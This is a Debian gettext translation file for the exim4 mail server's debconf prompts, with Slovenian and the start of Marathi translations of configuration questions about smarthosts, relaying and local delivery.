"" "Kofiguracija za Exim4 je premeščena v namenski paket exim4-config. Za " "ponovno konfiguracijo Exim4 uporabite dpkg-reconfigure exim4-config." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "internetno mesto; pošta je poslana in sprejeta neposredno s pomočjo SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "pošta je poslano preko pametnega posrednika; sprejeta preko SMTP ali " "fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "pošta je poslana preko pametnega posrednika; brez lokalne pošte" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "samo lokalno dostavljanje; brez omrežja" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "trenutno brez konfiguracije" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Splošni tip nastavitve pošte:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Izberite način konfiguracije poštnega strežnika, ki najbolj ustreza vašim " "zahtevam." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemi z dinamičnimi IP naslovi, vključno s sistemi s klicnim dostopom, naj " "bi bili navadno nastavljeni, da pošiljajo izhodno pošto drugemu računalniku, " "ki se imenuje \"pametni posrednik\" in poskrbi za dostavo. Mnogi prejemniki " "namreč ne dovoljujejo dohodne pošte z dinamičnih IP - naslvov, zaradi " "zaščite pred neželeno pošto." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Sistem z dinamičnim naslovom IP, lahko prejema lastno pošto, lahko pa se v " "celoti onemogoči lokalna dostava (razen pošte za korenski in postmater " "račun)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Pustim poštni sistem nenastavljen?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Vašega poštnega sistema ne bo mogoče uporabljati, dokler ne bo nastavljen. " "Nastavite ga lahko kasneje, ročno ali s pomočjo ukaza \"dpkg-reconfigure " "exim4-config\" kot root uporabnik." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Poštno ime sistema:" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Domensko ime \"mail name\" se uporablja kot določilo \"qualify\" poštnih " "naslovov brez domenskega imena." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "To ime bodo uporabljali tudi drugi programi. Naj bo celovito polno domensko " "ime (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Na primer, če je poštni naslov lokalnega gostitelja foo@domain.example, " "potem bi bila pravilna vrednost te možnosti domain.example." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "V vrsticah Od: izhodnih pisem to ime ne bo vidno, če bo omogočno " "prepisovanje." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Ostali naslovi, za katere je pošta sprejeta:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Vnesite s podpičji ločen seznam prejemnih domen, ki poleg lokalnega " "gostiteljskega imena (${fqdn}) in \"localhost\", predstavljajo končni cilj " "za ta računalnik. Običajno poimenovanje teh domen je \"local domains\"." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Privzeto se vse lokalne domene obravnava enako. Če sta domeni a.primer in b." "primer lokalni domeni, bosta acc@a.primer in acc@b.primer dostavljeni na " "isti ciljni naslov. Če naj bi bile različne domene obravnavane različno, je " "potrebno to nastaviti v datotekah config." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domene za katere naj posredujem pošto:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Vnesite seznam domen, ločenih s podpičji, na katere bo sistem posredoval " "pošto, na primer kot fallback MX ali poštni prehod. Tak sistem bo pošto za " "izbrane domene sprejel od povsod, naprej pa jo bo dostavil po pravilih za " "lokalno dostavo." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Na tem mestu ne omenjajte lokalnih domen. Uporabite lahko nadomestna imena." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Računalniki za katere naj bo posredovana pošta:" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Vnesite seznam obsegov naslovov IP, ločenih s podpičji, za katere bo sistem " "naključno posredoval pošto, kot pametni posrednik." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Uporabljajte standardno obliko naslova/predpone (npr. 194.222.242.0/24 ali " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Pustite seznam prazen, če ne želite da sistem deluje kot pametni posrednik." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Vidne domene za lokalne uporabnike:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Omogočeno je bilo skrivanje lokalnega poštnega imena v odhajajoči pošti. " "Zato je potrebno določiti domensko ime, ki naj ga sistem uporablja v " "domenskem delu lokalnega naslova pošiljatelja." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Naslov IP ali gostiteljsko ime odhodnega pametnega posrednika:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Vnesite naslov IP ali gostiteljsko ime poštnega strežnika, ki bo uporabljen " "kot izhodni pametni posrednik. Če pametni posrednik ne sprejma pošte na " "vrata TCP/25, pripišite dve dvopičji in številko vrat (na primer smarthost." "example::587 ali 192.168.254.254::2525). Dvopičja v naslovih IPv6 je " "potrebno podvojiti." #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Več o nastavitvah SMTP avtentikacije za pametni posrednik preberite v /usr/" "share/doc/exim4-base/README.Debian.gz." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Naslovnik root in postmaster pošte:" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Pošta za računa \"postmaster\", \"root\"in ostale sistemske račune mora biti " "preusmerjena na račun dejanskega skrbnika sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Če je ta vrednost prazna, bo pošta shranjena v /var/mail/mail, vendar pa to " "ni priporočeno." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Pošta za račun postmaster naj bo brana na sistemu, kamor je usmerjena in naj " "ne bo posredovana dalje. Uporabniki (ali vsaj eden izmed njih) iz tega " "seznama naj ne posredujejo pošte iz tega računalnika. Za vsilitev lokalne " "dostave uporabite predpono \"real-\" ." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Uporabniška imena ločite s presledki." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-naslov, ki naj posluša prihajajoče SMTP povezave:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Vnesite s podpičji ločen seznam IP naslovov. Eximov demon za poslušanje SMTP " "bo poslušal vse naslove s seznama." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Če ta vrednost ostane prazna, bo Exim bo poslušal za povezave na vseh " "mrežnih vmesnikih." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Če ta sistem pošto prejema samo preko lokalnih storitev, kot je fetchmail " "ali poštni program (MUA) povezan z localhost (ne pa tudi od ostalih " "gostiteljev), je priporočeno prepovedati zunanje povezave na lokalni Exim. " "To storite tako, da sem vnesete 127.0.0.1. Tako preprečite poslušanje na " "javnih mrežnih vmesnikih." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "Pustim število DNS-zahtevkov minimalno (Klic-na-Zahtevo - Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "V normalnem načinu dela Exim pošilja DNS-zahtevke ob zagonu, ob sprejemanju " "ali pošiljanju sporočil. To omogoča manjše število uporabniško določenih " "vrednosti v konfiguraciji in lažje beleženje v dnevnik." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Če ta strežnik nima vedno na voljo polnega dostopa do strežnika DNS (je npr. " "povezan s klicno povezavo in se povezuje po potrebi), se lahko pojavijo " "neželene posledice. Zagon Exima ali čakalne vrste (čeprav ni čakajočih " "spročil) lahko sproži postopek vzpostavljanja (cenovno neugodne) povezave na " "klic." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Izberite to možnost, če sistem uprablja Klic-na-Zahtevo (Dial-on-Demand). Če " "sistem uporabja dostop vedno-na-internetu (always-on Internet), je potrebno " "to možnost onemogočiti." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Konfiguracija poštnega strežnika:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Razdelim nastavitve v manjše datoteke?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Paketi Debian exim4 so lahko v \"nedeljeni konfiguraciji\", v eni monoliti " "datoteki (/etc/exim4/exim4.conf.template) ali v \"deljeni konfiguraciji\", " "kjer dejanske konfiguracijske datoteke za Exim predstavlja približno 50 " "manjših datotek v /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Nedeljena konfiguracija je bolj primerna za večje spremembe in velja za bolj " "stabilno, nasprotno pa porazdeljena konfiguracija omogoča udoben način za " "manjše spremembe, vendar je bolj občutljiva in se ob neprevidni uporabi " "hitro pokvari." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Več o deljeni in nedeljeni konfiguraiji preberite v /usr/share/doc/exim4-" "base/README.Debian.gz." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skrijem lokalno ime računalnika v odhajajoči pošti?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Glava odhajajoče pošte je lahko prepisana, tako da izgleda, kot da je bila " "generirana na drugem sistemu. Če boste izbrali to možnost bodo vrednosti " "\"${mailname}\", \"localhost\" in \"${dc_other_hostnames}\" v Od, Odgovori, " "Pošiljatelj in Povratna-Pot zamenjane." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "oblika mbox v /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Oblika maildir v domačem imeniku." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Dostavni način za lokalno pošto:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim lahko lokalno dostavljeno pošto shranjuje v različnih oblikah. " "Najpogosteje uporabljeni sta mbox in Maildir. mbox shrani celoten poštni " "imenik v eno datoteko v /var/mail/. Oblika Maildir pa shrani vsako sporočilo " "v svoji datoteki v ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Večina poštnih orodij za Debian ima privzeto metodo lokalne dostave mbox." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Premaknem nedostavljeno pošto iz čakalnega imenika exim(v3) v exim4?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "V čakalnem imeniku exim(v3) (ali exim-tls(v3)) /var/spool/exim/input/ je " #~ "nedostavljena pošta." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Sporočila bodo premeščena v čakalno vrsto exim4 (/var/spool/exim4/" #~ "input/) , če izberete to možnost. Nato bo z njimi upravljal exim4." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Deluje enosmerno: Exim4 lahko upravlja s čakalnim imenikom exim(v3), ne " #~ "pa tudi obratno. Sporočila premaknite le če ne načrtujete vrnitve na exim" #~ "(v3). Drugače sporočila ročno premaknite pozneje." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Exim ne bo izvedel lokalnih dostav, če je ta sezam prazen." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Vedite, da to deluje samo v eni smeri. Exim4 lahko upravlja s čakalno " #~ "pošto exim(v3) in ne obratno." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Premaknite pošto samo v primeru, če ne nameravate iti nazaj na exim(v3). " #~ "V nasprotnem primeru premaknite pošto ročno kasneje, ko boste pretvorili " #~ "vaše nastavitve." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Če jih je še kaj, jih vnesite tukaj, ločene z dvopičjem. Lahko pustite " #~ "prazno, če jih ni nič več." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "Vnesite domene za katere se strinjate, da boste posredovali pošto." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "To so domene za katere ste pripravljeni sprejeti pošto iz kjerkoli na " #~ "internetu. Tukaj ne omenjajte lokalnih domen." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domene, ki jih vnesete tukaj, naj bodo ločene z dvopičji. Uporabite lahko " #~ "nadomestni znak (*)." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Ker ste omogočili skrivanje lokalnega poštnega imena v odhodni pošti, " #~ "morate določiti domeno, ki jo želite uporabiti za pošto od lokalnih " #~ "uporabnikov; to je navadno računalnik, ki ga uporabljate za sprejemanje " #~ "pošte." #~ msgid "Where will your users read their mail?" #~ msgstr "Kje bodo vaši uporabniki brali pošto?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Računalnik, ki skrbi za odhodno pošto tega sistema (pametni posrednik):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Vnesite gostiteljsko ime računalnika, na katerega bo odhodna pošta " #~ "poslana." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Omogočite to možnost, če uporabljate Klic-na-Zahtevo; drugače jo " #~ "onemogočite." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Izberite način konfiguracije, ki najbolj ustreza vašim potrebam." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Če niste prepričani, ne uporabite ločenih nastavitev." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "ročno pretvori iz ročno napisanih nastavitev Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Želite ročno nastaviti Exim4?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Izbrali ste možnost, da imate ročno spisano nastavitev Exim 3. Za " #~ "pretvorbo v Exim 4 lahko uporabite orodje exim_convert4r4(8) po končani " #~ "nastavitvi. Pomagajte si z /usr/share/doc/exim4-base/examples/example." #~ "conf.gz in /usr/share/doc/exim4-base/README.Debian.gz.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Dokler vaš poštni sistem ni nastavljen, bo pokvarjen in ga ne bo mogoče " #~ "uporabljati." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Vaše \"poštno ime\" je gostiteljski del naslova, ki bo viden na izhodnih " #~ "poštnih in novičarskih sporočilih (sledi uporabniškemu imenu in znaku @) " #~ "razen, če je skrit s prepisovanjem." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Vnesite omrežja lokalnih računalnikov za katere se strinjate, da boste " #~ "posredovali pošto." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "To naj vključuje seznam vseh računalnikov, ki nas bodo uporabili za " #~ "pametnega gostitelja." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Za naslove IPv6 morate uporabiti dvojna dvopičja (npr. " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Vnesite z dvopičji ločen seznam IP-naslovov, na katerih naj poslušam. Za " #~ "IPv6 naslove potrebujete dvojna dvopičja (npr. 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Nastalvjanje Exim v4 (exim4-config)" debian/po/mr.po0000644000000000000000000013335612027557533010606 0ustar # SOME DESCRIPTIVE TITLE. # Copyright (C) 2006 # This file is distributed under the same license as the PACKAGE package. # Priti Patil , 2006, janabhaaratii Project (Chief Investigator Dr. Alka Irani), C-DAC, Mumbai # First Translator "Sampada Nakhare" msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-17 19:48+0530\n" "Last-Translator: Priti Patil \n" "Language-Team: Marathi, janabhaaratii, C-DAC, Mumbai, India\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "स्पूल निर्देशिकेतील अजून पोचती न झालेली पत्रे काढून टाकायची?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "एक्झिम निर्देशिका /व्हार/स्पूल/एक्झिम४/निवेश मधे काही अजून पोचती न झालेली पत्रे आहेत. आपण " "पुढे कधीतरी एक्झिम परत अधिष्ठापन करणार असल्यास ही पत्रे तशीच ठेऊ शकता, किंवा आपण ती " "काढून टाकू शकता." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "जर हा पर्याय निवडला नाही, तर स्पूल निर्देशिका ठेवली जाते, ज्यामुळे रांगेतील संदेश नंतरच्या " #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "या पॅकेजऐवजी एकझिम४-कॉन्फिग ची पुनर्रचना करायची?" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "एकझिम४ मधे संरचना एक समर्पित पॅकेज, एकझिम४-कॉन्फिग मधे घटक पाडून केली आहे. एकझिम४ " "पुनर्रचित करण्याकरिता 'डिपीकेजी रिकॉन्फिगर एकझिम४-कॉन्फिग' वापरा." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "महाजाल साइट; एसएमटीपी वापरून टपाल थेट पाठवले व प्राप्त केले जाते" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "टपाल स्मार्टहोस्टने पाठवले; एसएमटीपी वा फेचमेल द्वारा प्राप्त केले" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "टपाल स्मार्टहोस्टने पाठवले; स्थानिक पत्र नाही" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "वाटप फक्त स्थानिक; नेटवर्कवर नाही" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ह्या वेळी विन्यास नाही" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "सर्वसाधारण प्रकारचा टपाल विन्यास:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "आपल्या गरजा चांगल्या प्रकारे पूर्ण करणारा विन्यास प्रकार निवडा." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "सर्वसाधारणपणे क्रियाशील आय पी पत्ता असलेल्या प्रणालींची संरचना, (डायलअप प्रणालींसकट), " "बाहेर जाणारे टपाल पोचते करण्यासाठी दुसऱ्या \"स्मार्ट हाॅस्ट\" म्हणवणाऱ्या मशीनवर " "पाठवण्याजोगी करावी. आपण अशा प्रणालींवर टपाल प्राप्त करण्याचे निवडू शकता; किंवा मूल व " "पोस्टमास्टरचे टपाल सोडता, स्थानिक टपाल पाठवणे बंद ठेऊ शकता." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "क्रियाशील आय पी पत्ता असलेली प्रणालीं स्वतःचे टपाल प्राप्त करू शकते, किंवा स्थानिक बटवडा " "संपूर्णपणे कार्यअक्षम करता येतो (मूल वा पोष्टमाष्टर यांच्या टपालाव्यतिरिक्त)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid 